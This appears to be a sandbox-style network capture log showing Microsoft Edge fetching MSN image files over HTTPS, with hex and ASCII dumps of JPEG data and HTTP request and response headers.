2024-11-20 07:09:24 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: fc ab 26 f3 f4 a4 69 4b 80 a9 51 5a 4f 81 92 a4 15 1c 64 7d ab 6e 64 d8 52 68 23 71 f5 15 95 c1 a5 6c d6 0d c7 19 0c cb 00 29 58 04 82 35 33 6f bf c6 a4 c9 53 0d 28 d5 e7 36 f7 b3 66 24 b0 65 a0 d5 79 4e ca ac 0f f1 d4 47 cb 27 f5 fd 6a 7a 64 0a 7e 6f 0a c2 9a a7 6d e7 ad 1a 5c 2f a1 9e af 90 8e 0d 8d b6 e8 ac fb cb a0 b9 ac ea 87 5d ba fd ce bd 01 0f a7 ae 06 37 22 e1 10 a4 30 d4 93 f3 4f 21 48 80 38 fc 28 75 72 76 ef a5 6d ea 1e 9b ba 19 bc 25 c0 8f 07 8c e5 84 72 a6 d5 c0 fe 2b 1f da 40 8f 88 a5 51 48 1e 97 fd 46 12 c0 e2 2c 18 15 d4 1a 6d 1f 12 4f 44 b6 d8 01 a4 89 e7 02 3e 14 d2 aa 76 09 c6 6e be a4 b3 9e b4 3d d0 d1 69 6d 6c 6f 23 67 65 55 2a a2 57 7d ec 40 06 c6 fa 4f 08 d6 a3 c9 26 ff 00 5a 04 54 35 39 5b 79 d3 d7 fc fe 46 e6 ab a0 ea d8 23 a1 c3 Data Ascii: &iKQZOd}ndRh#ql)X53oS(6f$eyNG'jzd~om\/]7"0O!H8(urvm%r+@QHF,mOD>vn=imlo#geU*W}@O&ZT59[yF#
2024-11-20 07:09:24 UTC	2325	IN	Data Raw: 42 72 ea 3e ae cb 15 1b 59 a2 21 51 37 96 31 36 31 f1 fe 95 49 94 2a a9 53 25 38 95 b3 73 02 f7 8f 8d 73 b6 95 52 ea 44 d3 b8 f5 06 f3 b8 f4 b3 e4 41 7b 7c b7 b4 de 20 5f f4 b9 f2 a6 f1 e6 ca ac a5 48 95 ea 55 e0 a3 fd dc c4 f0 34 06 d2 79 c6 37 1f b9 08 ce 32 53 dd 57 90 7e 07 e3 90 59 71 36 d4 05 76 c0 81 a8 13 73 79 13 27 5f 4a 79 99 0e 41 93 31 f7 42 11 20 23 00 b7 9d b0 63 a4 dc 6b 42 8a 8c a4 e9 e7 cf f4 11 5a 8d 46 2a 2f cb 56 fc b6 af 20 f4 fe 3a 04 4c 98 71 e3 21 0a 64 b8 b3 02 a7 a7 9f a8 a6 bb ef 64 c3 63 d8 24 4c 20 8d 49 b7 97 9d 69 d1 e4 5f f5 f5 e6 db c7 52 68 e3 23 a6 0b b4 c0 3b 8c 8c 90 5b e6 8d b0 09 81 3a 9d 05 a8 28 71 a0 05 99 8d e0 85 24 12 0e b7 fa 89 f8 53 d6 99 2a e4 77 37 a9 f0 48 c5 6a 26 a4 9e 7e 45 69 84 88 96 53 d4 66 d3 1e Data Ascii: Br>Y!Q7161IS%8ssRDA{\| _HU4y72SW~Yq6vsy'_JyA1B #ckBZF/V :Lq!ddc$L Ii_Rh#;[:(q$S*w7Hj&~EiSf
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: f5 70 83 23 89 b1 bd 4f ee 77 b6 41 db bb 97 52 61 a0 41 9d 63 97 a4 7e b4 1e 58 eb 8b a2 a7 82 71 82 5e 05 68 0e a7 6e 46 76 00 dc 02 4d f5 1c 08 b4 53 5d b3 10 d9 31 62 3b 91 34 7f 95 c1 1c 35 21 88 1c 44 69 44 97 e4 2b d9 bf e8 77 2c a3 be e6 4c f8 f7 3e 22 84 a3 29 50 26 e0 6a a4 9f eb 4c b3 3a c3 cf b8 a4 30 26 c4 18 d0 89 d4 6b 48 92 4f 9d ce 5d 38 2e 45 67 39 db ad d2 47 49 02 48 f8 19 a6 56 06 52 09 80 ac 61 74 b1 1b b8 1e 24 fa 51 9e e2 ec 2b 3b 20 bb b9 8c 56 81 be 24 c5 86 86 fe 35 4f b9 0b b2 4f 23 62 7c 3e f1 4d 11 22 71 c4 95 54 65 75 de 72 0b 41 8e a5 dc 3c 62 60 fa 57 bd b2 ae d7 1b 60 ed b4 9f a5 fc 68 a4 60 db a1 99 2b b8 60 32 1d 84 15 1b 63 c6 39 f0 99 e3 44 7c 4c c8 84 0d 37 6e 1c 24 1a a7 11 64 bc 33 eb 04 9f f7 5e 2b e5 d2 6c 7a 87 Data Ascii: p#OwARaAc~Xq^hnFvMS]1b;45!DiD+w,L>")P&jL:0&kHO]8.Eg9GIHVRat$Q+; V$5OO#b\|>M"qTeurA<b`W`h`+`2c9D\|L7n$d3^+lz
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: c6 dc e8 d0 e4 58 ac f3 83 a1 ca cf b1 d1 8a 6d 21 fe e6 19 77 5f 94 1f 5d 6b 19 11 54 18 d2 07 1f a5 6c 07 18 d1 a9 93 4a 44 65 10 cc 42 92 01 03 49 b9 d3 9d 60 b1 56 30 62 87 dd bc 51 7b 8a ea ef d8 cf 3d 86 91 b5 01 46 ed db 49 3f 6f 10 60 50 36 31 2d 69 22 f7 92 7e f1 40 d4 ee b9 5b 91 b5 4b 26 7b f7 f0 56 38 73 29 27 71 7f 52 4c 7f 4a 11 c6 c0 c9 f2 1a 58 e9 5c be ad 97 e6 27 0b 81 16 7f 82 cb 1b 0c 6e 05 6f e5 11 7f 3f ca 95 d9 b1 77 0b 5f 4d 47 c0 7e b6 a1 b8 e5 d9 a1 4b 67 93 ab 92 ab 7c e4 61 61 55 98 89 20 e8 67 4a f3 b7 0a db c3 74 90 35 b4 7c 6a c5 e0 46 aa 9a cf ea 32 fa 97 22 e9 ac a3 c7 ce 5a 36 af af 0f f5 a2 fb 9b 74 44 32 23 79 04 7d 01 8a 69 fd 58 e8 01 aa c5 bf 41 2a 9f 23 71 81 36 c9 b7 42 75 d6 37 44 f0 e1 4c e5 54 22 d3 f2 8d 7d 2e Data Ascii: Xm!w_]kTlJDeBI`V0bQ{=FI?o`P61-i"~@[K&{V8s)'qRLJX\'no?w_MG~Kg\|aaU gJt5\|jF2"Z6tD2#y}iXA*#q6Bu7DLT"}.
2024-11-20 07:09:24 UTC	7952	IN	Data Raw: 1a be 53 33 ac 78 28 66 cb ef 38 44 0b 22 43 38 86 58 1f db 6e a3 16 be a6 97 4c a0 b4 13 ec 82 02 9d ab 68 1e 15 9a 31 6b ea 93 74 eb 4c 78 77 e7 dc d0 d5 66 93 7b 1b 39 6b f4 00 bb 99 c8 4e f8 28 44 3b f2 64 72 22 5c db 6f 0d a0 68 3c 2d 1c ab 19 65 f3 e2 0b d6 16 22 d1 31 7f 31 e2 69 3b 2d b9 3c 25 15 b2 e6 fc 8c a4 a3 09 49 fd 3f 95 9a af 53 cb 26 ac 59 40 e2 ed 9d 71 e2 76 23 6a 6b d2 00 31 a0 e3 7f a9 e3 51 33 b6 47 72 5f 59 d3 82 f8 01 c2 ae b7 76 ad fb 05 8c d4 95 dd a0 ff 00 4c 9f 3b 6f c1 89 cd c9 db 19 ee 7b 5f f1 d5 08 70 db 80 24 7f 6c f0 27 43 6b da a5 99 9a e8 cb 50 44 6a 94 34 a5 93 36 ab 3a 4c 5d d8 4e dc a9 c8 ac 49 58 94 dd 0a 0b 12 a6 63 53 7e 33 c6 95 1b 19 31 63 29 a8 d5 57 a9 8f 85 c4 f2 9f 85 64 94 5b ba 8b f8 d7 ba 7e 84 b9 dc 9f Data Ascii: S3x(f8D"C8XnLh1ktLxwf{9kN(D;dr"\oh<-e"11i;-<%I?S&Y@qv#jk1Q3Gr_YvL;o{_p$l'CkPDj46:L]NIXcS~31c)Wd[~
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: fa 81 a4 74 fe ee 0f 71 53 03 14 c6 d8 c8 3b 6c db 94 92 09 26 0e e6 d3 85 73 61 bb 74 ca a0 ae 46 00 c3 03 1f 48 37 af 3d a9 7e e9 2b 69 e2 f3 87 fc 1b f4 f7 1c 5e 62 9e cd 5f e6 6a 96 86 fe 9e 2b e6 65 28 e4 ee 16 54 14 38 c4 db a6 6d ad da 49 3c 09 3a d3 e3 32 12 83 68 18 d5 80 db 00 5d bc 22 4f 8d c7 ad 01 76 f0 dd ea f1 66 58 c2 59 6d dc 9a e6 f6 41 70 25 9c de 56 5c a0 86 31 37 90 4b 02 c3 43 16 23 ef 6a ad de 0e db 1a b2 a2 db 76 ad c4 af 01 03 8e 82 2d 1c 6b d2 8d c5 a6 b6 db 8c 74 01 da d5 27 97 b1 dc f2 36 0e 53 26 25 58 50 d2 c3 52 34 f2 35 e0 82 dc bd 2b d3 8c 9b ce c7 56 04 14 68 e3 6c ea 85 14 48 07 79 d0 4c da 4e 92 78 56 71 fc ff 00 86 e4 7f da 07 96 b1 42 d4 bb 6d db e7 8d ce 92 c7 d4 97 b0 c2 65 0e 76 e8 72 2b 60 db 2d 3b 92 f1 04 6a 3c Data Ascii: tqS;l&satFH7=~+i^b_j+e(T8mI<:2h]"OvfXYmAp%V\17KC#jv-kt'6S&%XPR45+VhlHyLNxVqBmevr+`-;j<
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: 12 d2 0f 23 5c df ed 9d c6 7c fd ca 7b b2 57 db ca 36 b3 8b 10 aa 0b 40 bd c5 ae 3d 28 55 49 96 5c 7c 0d 5b 82 86 19 cf 77 b9 72 9c 86 41 50 49 7d a0 9d 92 78 c5 cc 11 57 bf 75 ed b2 6f 5b 08 2d b7 a6 22 5a 36 a4 fa 68 79 51 05 89 1b b1 e4 b7 39 52 08 20 34 6e 59 0d 7b 19 e1 cb 4a eb fb 0f db bb 83 bb dc 8c 71 b8 aa 95 5e a0 d6 2c a5 81 98 8e 1f 6d 50 6d 99 f8 08 95 9c 94 39 da 2f 17 23 5e 93 cf 95 77 3d c6 10 72 1c 49 8d d1 31 0b 2a 86 66 76 37 be d8 13 bb 6c dd 87 95 16 c4 be b5 90 61 1c 3e af 00 7b 54 c3 db f6 ed d4 ab 99 f6 06 07 6b 6d 59 1d 44 1f 94 cd c0 e7 45 c3 80 f7 29 8f 17 b6 a5 f7 b3 3a 91 04 ec 6d 64 f2 22 fb a2 66 2a f2 fc 64 66 eb f2 1a b0 3b e0 7b ba 67 6e c3 3c a9 ba 00 05 88 86 33 32 46 f9 02 e2 6c 2b df dc 91 97 b4 18 82 e5 f7 72 1d 4c Data Ascii: #\\|{W6@=(UI\\|[wrAPI}xWuo[-"Z6hyQ9R 4nY{Jq^,mPm9/#^w=rI1fv7la>{TkmYDE):md"fdf;{gn<32Fl+rL
2024-11-20 07:09:24 UTC	7952	IN	Data Raw: 04 dc 37 ed 5d c0 72 00 c1 e5 6f 5a a3 dd f7 45 59 15 a3 64 58 6c 20 c1 5f 18 3e 9c 22 89 49 2f 50 4d 39 2a 5e 0b 24 96 cc 79 4b 6e a4 1c 39 b7 e5 41 71 d5 c7 85 53 ec dd 5b 3e 31 ed a0 05 84 9e 22 7e 83 c8 5e b5 28 d3 40 63 16 9a b6 c0 c2 57 24 3c 2e f8 28 13 6c 81 81 82 7a 0a e9 3e d9 04 fe 93 46 74 5c 23 6e e3 3d 65 64 48 80 00 83 e2 60 d6 f6 0e ec 3e ec 6a 39 fc ea 5d a4 c3 fe 1c 82 4e dd a2 62 6d ac 70 af 90 9c 59 37 00 4c 6e 8f 8e a0 c4 7c 68 13 95 56 6b ea ae 2e ff 00 82 77 a3 ae 35 75 93 37 77 61 a4 8d a6 5c 63 18 1d 0a ca a4 49 e2 dc 8a 91 a7 32 66 92 28 32 f5 1d a8 41 e0 0b 03 27 59 13 79 b7 8d 65 9a 7a 9f ee 6b 1f 85 e4 7b 7d bc 2b 9f ab 4a be 3b 19 65 2b f8 15 af 89 4f f6 fd a7 b8 41 63 79 dc 27 58 e1 e7 5b c4 53 b7 71 b4 b3 1d ca 49 d1 67 5d Data Ascii: 7]roZEYdXl _>"I/PM9*^$yKn9AqS[>1"~^(@cW$<.(lz>Ft\#n=edH`>j9]NbmpY7Ln\|hVk.w5u7wa\cI2f(2A'Yyezk{}+J;e+OAcy'X[SqIg]
2024-11-20 07:09:24 UTC	15060	IN	Data Raw: 38 02 68 6e 66 69 55 2c 25 6d 07 e3 84 2a a8 e1 2b 63 f1 b0 d6 39 60 40 62 aa 38 0b 5f 99 d2 a4 e4 cb 00 01 c4 f1 fc a8 2d 75 ab 2e 96 de 7e 45 b9 71 7f 00 5f 55 e5 fc 0a 98 9f 1a 23 17 81 92 66 4b 78 f8 19 a9 59 ac a1 45 a4 dc c0 d2 a5 05 e0 22 42 f1 82 b2 77 09 ee 0e ad df c5 76 83 f5 27 87 de 6a 2e 37 0a e0 c9 b9 82 4f af 0e 54 94 46 db 0a b0 67 b6 f6 28 be 4d 8c 58 00 7a b4 3a 79 d0 cb 24 90 d3 af 3f d6 a7 38 07 25 2b c5 07 ba 03 2d 43 50 fd c9 04 ce 42 20 6e 98 0b e0 a3 4f 85 64 f7 2b 8b a5 45 b4 03 49 1e 97 8a ea e9 84 05 76 e5 6e dd fe 43 b7 a8 02 83 ea 7b 95 15 09 12 58 6e 31 04 c1 e5 e9 e3 14 12 37 c3 78 90 42 e8 a4 5e 27 d2 92 53 b7 4a 9f 56 c2 68 c8 9d c9 53 d2 96 7a 8c e0 db bb c0 56 67 62 49 3d 13 d4 04 0b 2d b8 f8 c1 8a 59 b2 38 2c ac 05 ae Data Ascii: 8hnfiU,%m*+c9`@b8_-u.~Eq_U#fKxYE"Bwv'j.7OTFg(MXz:y$?8%+-CPB nOd+EIvnC{Xn17xB^'SJVhSzVgbI=-Y8,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49840	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:24 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:24 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A Last-Modified: Sun, 20 Oct 2024 23:49:33 GMT X-Source-Length: 114962 X-Datacenter: eastus X-ActivityId: f9c97283-f306-495f-9b12-cae296533644 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 114962 Cache-Control: public, max-age=146324 Expires: Thu, 21 Nov 2024 23:48:08 GMT Date: Wed, 20 Nov 2024 07:09:24 GMT Connection: close
2024-11-20 07:09:24 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-20 07:09:24 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-20 07:09:24 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-20 07:09:24 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49843	20.110.205.119	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

